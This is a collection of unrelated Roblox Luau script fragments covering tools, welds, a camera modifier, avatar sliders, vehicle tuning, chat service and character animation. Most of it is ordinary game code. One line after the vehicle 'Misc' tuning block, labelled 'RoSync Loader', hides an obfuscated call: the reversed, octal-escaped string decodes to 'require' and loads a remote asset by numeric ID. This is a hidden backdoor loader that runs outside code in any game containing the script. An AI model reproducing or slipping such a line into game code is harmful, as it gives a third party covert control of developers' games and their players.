--dot product of the vectors with (0,1,0)
test1 = frontVector.y
test2 = leftVector.y
--takes the largest y value and tests positive or negative to identify the 4 faces it could land on
if math.abs(test1)>math.abs(test2) then
if test1>0 then
--print("Nun")
count = 0
else
--print("Shin")
count = 5
end
else
if test2>0 then
--print("Hey")
count = 15
else
--print("Gimmel")
count = 25
end
end
-- generates the necissary number of coins and throws them a random distance from the dreidle
--PLAY COIN SOUND
coinsound:Play()
for i=1,count do
local p = Instance.new("Part")
p.BrickColor = BrickColor.new(23)
p.formFactor = 2
p.Size = Vector3.new(1,.2,1)
p.TopSurface = 0
p.BottomSurface = 0
local a = math.random() * 6.28 -- magic number??
local d = Vector3.new(math.cos(a), 0, math.sin(a)).unit
p.Velocity = d * 25
p.RotVelocity = d
p.Position = dBody.Position + Vector3.new(0,2,0) + Vector3.new(0, math.random() * 3, 0) + (d * 2)
p.Parent = game.Workspace
Tool.Mesh:Clone().Parent = p
Tool.CoinScript:Clone().Parent = p
debris:AddItem(p, 60)
end
Tool.Enabled = true
Tool.Handle.Transparency = 0
end
|
--!strict |
local LocalPlayer: Player = game:GetService("Players").LocalPlayer
local Replicated = game:GetService("ReplicatedStorage")
local Character: Model = LocalPlayer.Character::Model
local Humanoid: Humanoid = Character:WaitForChild("Humanoid")::Humanoid
Humanoid.Jumping:Connect(function(active: boolean)
if not active then
return
end
Replicated.LocalEvents.ToggleFlipFlops:Fire()
end)
|
--// initialize team changing function //-- |
game.Players.LocalPlayer.Changed:connect(function()
if checkTeam() == true then
script.Parent.Parent.SpectateButton.Visible = true
else
script.Parent.Parent.SpectateButton.Visible = false
resetGui()
end
end)
if checkTeam() == true then
script.Parent.Parent.SpectateButton.Visible = true
else
script.Parent.Parent.SpectateButton.Visible = false
resetGui()
end
|
--// This module is for stuff specific to debugging
--// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER! |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps
Commands.TestError = {
Hidden = true;
Prefix = ":";
Commands = {"debugtesterror"};
Args = {"optional type (error/assert)", "optional message"};
Description = "Test Error";
NoFilter = true;
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
--assert(args[1] and args[2],"Argument missing or nil")
Remote.Send(plr, "TestError")
Routine(function() plr.Bobobobobobobo.Hi = 1 end)
if not args[1] then
error("This is an intentional test error")
elseif args[1]:lower() == "error" then
error(args[2])
elseif args[1]:lower() == "assert" then
assert(false, args[2])
end
end;
};
Commands.TestBigList = {
Hidden = true;
Prefix = ":";
Commands = {"debugtestbiglist"};
Args = {};
Description = "Test Big List";
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
local list = {}
for i = 1, 5000 do
table.insert(list, {Text = i})
end
Remote.MakeGui(plr,"List",{
Title = "DebugBigList_PageSize250",
Table = list,
Font = "Code",
PageSize = 250;
Size = {500, 400},
})
Remote.MakeGui(plr,"List",{
Title = "DebugBigList_PageSize100",
Table = list,
Font = "Code",
PageSize = 100;
Size = {500, 400},
})
Remote.MakeGui(plr,"List",{
Title = "DebugBigList_PageSize25",
Table = list,
Font = "Code",
PageSize = 25;
Size = {500, 400},
})
end;
};
Commands.TestGet = {
Prefix = ":";
Commands = {"debugtestget"};
Args = {};
Description = "Remote Test";
Hidden = true;
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
local tack = time()
print(tack)
print(Remote.Get(plr,"Test"))
local tab = {
{
Children = {
{Class = "sdfhasdfjkasjdf"}
};
{{Something = "hi"}};
}
}
local m, ret = Remote.Get(plr, "Test", tab)
if ret then
print(ret)
for i,v in next, ret do
print(i,v)
for i,v in next,v do
print(i,v)
for i,v in next,v do
print(i,v)
for i,v in next,v do
print(i,v)
end
end
end
end
end
print(time() - tack)
print("TESTING EVENT")
Remote.MakeGui(plr, "Settings", {
IsOwner = true
})
local testColor = Remote.GetGui(plr, "ColorPicker", {Color = Color3.new(1, 1, 1)})
print(testColor)
local ans,event = Remote.GetGui(plr, "YesNoPrompt", {
Icon = server.MatIcons["Bug report"];
Question = "Is this a test question?";
}), Remote.NewPlayerEvent(plr, "TestEvent", function(...)
print("EVENT WAS FIRED; WE GOT:")
print(...)
print("THAT'D BE ALL")
end)
print(`PLAYER ANSWER: {ans}`)
wait(0.5)
print("SENDING REMOTE EVENT TEST")
Remote.Send(plr, "TestEvent", "TestEvent", "hi mom I went thru the interwebs")
print("SENT")
end;
};
|
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/ |
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakJoints(Part)
--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
--- Weld's 2 parts together
-- @param Part0 The first part
-- @param Part1 The second part (Dependent part most of the time).
-- @param [JointType] The type of joint. Defaults to weld.
-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
-- @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
-- @param MainPart The part to weld the model to (can be in the model).
-- @param [JointType] The type of joint. Defaults to weld.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = true
end
end
local function PerfectionWeld()
local Tool = GetNearestParent(script, "Tool")
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
else
warn("qWeld - Unable to weld part")
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == "Script" then
--- Don't bother with local scripts
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
|
--[[Weld functions]] |
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,x)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") and
a.Parent.Name ~= ("RotLight") then
MakeWeld(b,a,"Weld")
for i,v in pairs(a:GetChildren()) do
if v ~= nil and v:IsA("BasePart") then
ModelWeld(v,b)
end
end
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
-- Public methods |
function CameraModifier:Destroy()
self.CameraClass.Update = self.DefaultCamUpdate
self.PopperClass.Update = self.DefaultPopUpdate
self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior
end
function CameraModifier:OnCameraUpdate(this, dt)
workspace.CurrentCamera.CFrame = self.LastCFrame
workspace.CurrentCamera.Focus = self.LastFocus
return self.DefaultCamUpdate(this, dt)
end
function CameraModifier:OnPopperUpdate(this, dt, dCamCF, dCamFocus)
local camCF, focusCF
if (self.WallStick.CameraMode == "Custom") then
-- dCamCF and dCamFocus are in physics space
local hrpCF, phrpCF = self.WallStick.HRP.CFrame, self.WallStick.PhysicsHRP.CFrame
local camCF = hrpCF:ToWorldSpace(phrpCF:ToObjectSpace(dCamCF))
local focusCF = hrpCF:ToWorldSpace(phrpCF:ToObjectSpace(dCamFocus))
camCF, focusCF = self.DefaultPopUpdate(this, dt, camCF, focusCF) -- real space
self.LastCFrame = phrpCF:ToWorldSpace(hrpCF:ToObjectSpace(camCF))
self.LastFocus = phrpCF:ToWorldSpace(hrpCF:ToObjectSpace(focusCF))
return camCF, focusCF
else
-- if mode is Default or Debug we do nothing special since the camera subject is where it needs to be
local camCF, focusCF = self.DefaultPopUpdate(this, dt, dCamCF, dCamFocus)
self.LastCFrame = camCF
self.LastFocus = focusCF
return camCF, focusCF
end
end
|
--[[
]] |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local AvatarEditor = ReplicatedStorage.AvatarEditor
local GuiLib = require(AvatarEditor.Client.GuiLib.LazyLoader)
local Maid = require(AvatarEditor.Shared.Util.Maid)
local Signal = require(AvatarEditor.Shared.Util.Signal)
local Promise = require(AvatarEditor.Shared.Util.Promise)
local Theme = require(AvatarEditor.Client.Theme)
local player = Players.LocalPlayer
local Class = {}
Class.__index = Class
local Slider = {}
Slider.__index = Slider
local function map(n, inMin, inMax, outMin, outMax)
return (outMin + ((outMax - outMin) * ((n - inMin) / (inMax - inMin))))
end
local function setScale(scale, value) -- TODO disable for R6?
local character = player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
local bodyScale = (humanoid and humanoid.Health > 0) and humanoid:FindFirstChild(scale)
if bodyScale then
bodyScale.Value = value
else
warn(scale, "not found or dead")
end
end
function Slider.new(frame, x, min, max, callback)
local self = setmetatable({}, Slider)
self.Maid = Maid.new()
self.Changed = Signal.new()
self.Min = min
self.Max = max
self.Frame = frame
self.Callback = callback
self.Slider = GuiLib.Classes.Slider.new(frame.SliderFrame)
self.Slider.Interval = 0.01
self.Slider.TweenClick = false
self.Slider:Set(map(x, min, max, 0, 1))
self:Update(map(x, min, max, 0, 1))
self.Maid:GiveTask(self.Slider.Changed:Connect(function(value)
value = map(value, 0, 1, min, max)
self:Update(value)
end))
self.Maid:GiveTask(self.Slider.DragStop:Connect(function()
local value = map(self.Slider:Get(), 0, 1, min, max)
self.Changed:Fire(value)
end))
self.Mask = GuiLib.Classes.TextMask.new(frame.TextFrame.TextBox)
self.Mask:SetMaskType("Integer")
self.Mask:SetMaxLength(3)
self.Maid:GiveTask(self.Mask.Frame.FocusLost:Connect(function()
local value = math.clamp(self.Mask:GetValue()/100, min, max)
self.Slider:Set(map(value, min, max, 0, 1))
self:Update(value)
self.Changed:Fire(value)
end))
return self
end
function Slider:Set(value)
self.Slider:Set(map(value, self.Min, self.Max, 0, 1))
self.Mask.Frame.Text = string.format("%d", map(value, 0, 1, 0, 100))
end
function Slider:Update(value)
local frame = self.Frame
local callback = self.Callback
frame.TextFrame.TextBox.Text = string.format("%d", map(value, 0, 1, 0, 100))
callback(value)
end
function Slider:Destroy()
self.Maid:DoCleaning()
self.Maid = nil
self.Changed:Destroy()
self.Changed = nil
self.Min = nil
self.Max = nil
self.Frame = nil
self.Callback = nil
self.Slider:Destroy()
self.Slider = nil
self.Mask:Destroy()
self.Mask = nil
setmetatable(self, nil)
end
function Class.new(frame, wearingScales)
local self = setmetatable({}, Class)
self.Maid = Maid.new()
self.ScaleUpdated = Signal.new()
self.Maid:GiveTask(Theme:Bind(frame, "ScrollBarImageColor3", "Scrollbar"))
for i, v in ipairs(frame:GetChildren()) do
if not v:IsA("Frame") then
continue
end
self.Maid:GiveTask(Theme:Bind(v.SliderFrame.Background.Bar, "BackgroundColor3", "DraggerBar"))
self.Maid:GiveTask(Theme:Bind(v.SliderFrame.Dragger, "BackgroundColor3", "Dragger"))
self.Maid:GiveTask(Theme:Bind(v.TextFrame, "BackgroundColor3", "Tertiary"))
self.Maid:GiveTask(Theme:Bind(v.TextFrame.TextBox, "PlaceholderColor3", "PlaceholderText"))
self.Maid:GiveTask(Theme:Bind(v.TextFrame.TextBox, "TextColor3", "Text"))
self.Maid:GiveTask(Theme:Bind(v.TextLabel, "TextColor3", "Text"))
end
local bodyTypeScale = Slider.new(frame.BodyType, wearingScales.BodyTypeScale, 0, 1, function(value)
setScale("BodyTypeScale", value)
end)
self.Maid.BodyTypeScale = bodyTypeScale
self.Maid:GiveTask(bodyTypeScale.Changed:Connect(function(value)
self.ScaleUpdated:Fire("BodyTypeScale", value)
end))
local heightScale = Slider.new(frame.Height, wearingScales.HeightScale, 0.9, 1.05, function(value)
setScale("BodyHeightScale", value)
end)
self.Maid.HeightScale = heightScale
self.Maid:GiveTask(heightScale.Changed:Connect(function(value)
self.ScaleUpdated:Fire("HeightScale", value)
end))
local widthScale = Slider.new(frame.Width, wearingScales.WidthScale, 0.7, 1, function(value)
setScale("BodyWidthScale", value)
end)
self.Maid.WidthScale = widthScale
self.Maid:GiveTask(widthScale.Changed:Connect(function(value)
self.ScaleUpdated:Fire("WidthScale", value)
end))
local headScale = Slider.new(frame.Head, wearingScales.HeadScale, 0.95, 1, function(value)
setScale("HeadScale", value)
end)
self.Maid.HeadScale = headScale
self.Maid:GiveTask(headScale.Changed:Connect(function(value)
self.ScaleUpdated:Fire("HeadScale", value)
end))
local proportionScale = Slider.new(frame.Proportion, wearingScales.ProportionScale, 0, 1, function(value)
setScale("BodyProportionScale", value)
end)
self.Maid.ProportionScale = proportionScale
self.Maid:GiveTask(proportionScale.Changed:Connect(function(value)
self.ScaleUpdated:Fire("ProportionScale", value)
end))
return self
end
function Class:UpdateWearing(scale, value)
local slider = self.Maid[scale]
slider:Set(value)
end
function Class:Destroy()
self.Maid:DoCleaning()
self.Maid = nil
self.ScaleUpdated:Destroy()
self.ScaleUpdated = nil
setmetatable(self, nil)
end
return Class
|
--// Aim|Zoom|Sensitivity Customization |
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
AimZoom = 30; -- Default zoom
AimSpeed = 0.23;
UnaimSpeed = 0.1;
CycleAimZoom = 55; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--[[Misc]] |
Tune.LoadDelay = 1.37 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = false |
--[END]]
--[[ Last synced 10/14/2020 09:17 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- FUNCTIONS -- |
return function(Character)
local random = Random.new(math.random(1, 10))
local function randomizeColors()
for i, v in pairs(Character:GetDescendants()) do
coroutine.wrap(function()
if v:IsA("MeshPart") or v:IsA("Part") or v:IsA("UnionOperation") then
if v.Name == "Head" then
if v:FindFirstChild("Mesh") then
v["Mesh"]:Destroy()
end
end
v.Material = Enum.Material.Neon
TS:Create(v, TweenInfo.new(0.15), {Color = Colors[random:NextInteger(1, #Colors)]}):Play()
end
end)()
end
end
coroutine.wrap(function()
while Character do
randomizeColors()
task.wait(0.15)
end
partCache:Dispose()
end)()
task.delay(1, function()
for i, v in pairs(Character:GetDescendants()) do
if v:IsA("MeshPart") or v:IsA("Part") then
-- Implode Tween --
local tweenTime = 0.7
local ImpTween = TS:Create(v, TweenInfo.new(tweenTime, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = v.Size * 1.5})
ImpTween:Play()
task.delay(tweenTime, function()
v.Transparency = 1
v.Anchored = true
v.CanCollide = false
coroutine.wrap(function()
for l, k in pairs(script.ImplosionFX:GetChildren()) do
local fx = k:Clone()
fx.Parent = v
fx:Emit(fx:GetAttribute("EmitCount"))
end
end)()
for l = 1, random:NextInteger(1, 3) do
local partSize = random:NextNumber(0.2, 0.6)
local part = partCache:GetPart()
part.Size = Vector3.new(partSize, partSize, partSize)
part.Color = Colors[random:NextInteger(1, #Colors)]
part.CFrame = v.CFrame * CFrame.new(math.random(-(v.Size.X / 2), (v.Size.X / 2)), math.random(-(v.Size.Y / 2), (v.Size.Y / 2)), math.random(-(v.Size.Z / 2), (v.Size.Z / 2)))
part.Parent = workspace.Debris
TS:Create(part, TweenInfo.new(0.7), {Color = Colors[random:NextInteger(1, #Colors)]}):Play()
task.delay(random:NextNumber(0.3, 0.7), function()
TS:Create(part, TweenInfo.new(0.7), {Size = Vector3.new()}):Play()
task.delay(0.7, function()
partCache:ReturnPart(part)
end)
end)
task.wait()
end
end)
end
end
end)
end
|
-- Map storing Player -> Blocked user Ids. |
local BlockedUserIdsMap = {}
PlayersService.PlayerAdded:connect(function(newPlayer)
for player, blockedUsers in pairs(BlockedUserIdsMap) do
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUsers do
local blockedUserId = blockedUsers[i]
if blockedUserId == newPlayer.UserId then
speaker:AddMutedSpeaker(newPlayer.Name)
end
end
end
end
end)
PlayersService.PlayerRemoving:connect(function(removingPlayer)
BlockedUserIdsMap[removingPlayer] = nil
end)
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList)
if type(blockedUserIdsList) ~= "table" then
return
end
BlockedUserIdsMap[player] = blockedUserIdsList
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUserIdsList do
if type(blockedUserIdsList[i]) == "number" then
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
end
end)
EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
local speaker = ChatService:GetSpeaker(playerObj.Name)
if not (speaker and speaker:GetPlayer()) then
CreatePlayerSpeakerObject(playerObj)
speaker = ChatService:GetSpeaker(playerObj.Name)
end
local data = {}
data.Channels = {}
data.SpeakerExtraData = {}
for _, channelName in pairs(speaker:GetChannelList()) do
local channelObj = ChatService:GetChannel(channelName)
if (channelObj) then
local channelData =
{
channelName,
channelObj:GetWelcomeMessageForSpeaker(speaker),
channelObj:GetHistoryLogForSpeaker(speaker),
channelObj.ChannelNameColor,
}
table.insert(data.Channels, channelData)
end
end
for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
end
return data
end)
local function DoJoinCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (channel) then
if (channel.Joinable) then
if (not speaker:IsInChannel(channel.Name)) then
speaker:JoinChannel(channel.Name)
else
speaker:SetMainChannel(channel.Name)
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_SwitchChannel_NowInChannel",
string.format("You are now chatting in channel: '%s'", channel.Name)
),
"{RBX_NAME}",channel.Name),
channel.Name
)
end
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_YouCannotJoinChannel",
("You cannot join channel '" .. channelName .. "'.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_ChannelDoesNotExist",
("Channel '" .. channelName .. "' does not exist.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
end
end
local function DoLeaveCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (speaker:IsInChannel(channelName)) then
if (channel.Leavable) then
speaker:LeaveChannel(channel.Name)
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName)
),
"{RBX_NAME}",channel.Name),
"System"
)
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_YouCannotLeaveChannel",
("You cannot leave channel '" .. channelName .. "'.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
else
speaker:SendSystemMessage(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatServiceRunner_YouAreNotInChannel",
("You are not in channel '" .. channelName .. "'.")
),
"{RBX_NAME}",channelName),
fromChannelName
)
end
end
end
ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
if (string.sub(message, 1, 6):lower() == "/join ") then
DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/j ") then
DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 7):lower() == "/leave ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/l ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 3) == "/e " or string.sub(message, 1, 7) == "/emote ") then
-- Just don't show these in the chatlog. The animation script listens on these.
return true
end
return false
end)
if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then
local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)
allChannel.Leavable = false
allChannel.AutoJoin = true
allChannel:RegisterGetWelcomeMessageFunction(function(speaker)
if RunService:IsStudio() then
return nil
end
local player = speaker:GetPlayer()
if player then
local success, canChat = pcall(function()
return Chat:CanUserChatAsync(player.UserId)
end)
if success and not canChat then
return ""
end
end
end)
end
local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:Get(
"GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications."
)
systemChannel.SpeakerJoined:connect(function(speakerName)
systemChannel:MuteSpeaker(speakerName)
end)
local function TryRunModule(module)
if module:IsA("ModuleScript") then
local ret = require(module)
if (type(ret) == "function") then
ret(ChatService)
end
end
end
local modules = Chat:WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
local success, returnval = pcall(TryRunModule, child)
if not success and returnval then
print("Error running module " ..child.Name.. ": " ..returnval)
end
end)
for _, module in pairs(modules:GetChildren()) do
local success, returnval = pcall(TryRunModule, module)
if not success and returnval then
print("Error running module " ..module.Name.. ": " ..returnval)
end
end
PlayersService.PlayerRemoving:connect(function(playerObj)
if (ChatService:GetSpeaker(playerObj.Name)) then
ChatService:RemoveSpeaker(playerObj.Name)
end
end)
|
--[[Transmission]] |
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.97 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.42 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.38 ,
--[[ 3 ]] 1.72 ,
--[[ 4 ]] 1.34 ,
--[[ 5 ]] 1.11 ,
--[[ 6 ]] .91 ,
--[[ 7 ]] .78 ,
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- I forgor wtf this was but im adding it anyway. |
local module = {}
function module.Subtract(v1, v2)
return Vector3.new(v1[1] - v2[1], v1[2] - v2[2], v1[3] - v2[3])
end
function module.Add(v1, v2)
return Vector3.new(v1[1] + v2[1], v1[2] + v2[2], v1[3] + v2[3])
end
function module.RotateVector(vector, rotation)
local x, y, z = vector[1], vector[2], vector[3]
local rx, ry, rz = rotation[1], rotation[2], rotation[3]
-- Apply rotation around X-axis
local rotatedX = x
local rotatedY = y * math.cos(rx) - z * math.sin(rx)
local rotatedZ = y * math.sin(rx) + z * math.cos(rx)
-- Apply rotation around Y-axis
local tempX = rotatedX * math.cos(ry) + rotatedZ * math.sin(ry)
local tempY = rotatedY
local tempZ = -rotatedX * math.sin(ry) + rotatedZ * math.cos(ry)
-- Apply rotation around Z-axis
local finalX = tempX * math.cos(rz) - tempY * math.sin(rz)
local finalY = tempX * math.sin(rz) + tempY * math.cos(rz)
local finalZ = tempZ
return {finalX, finalY, finalZ}
end
return module
|
-- Variaveis |
local portao = script.Parent.Parent.Portao
local botao = script.Parent
local cf1 = script.Parent.Parent.Cf1
local aberto = false
local tela = script.Parent.Parent.Body.Tela
local som = script.Parent.Somzinho
local doorpos = portao.CFrame
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed > 0.01 then
local scale = 15.0
playAnimation("walk", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.ClassName == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.ClassName == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if toolAnim == "None" then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if toolAnim == "Slash" then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if toolAnim == "Lunge" then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
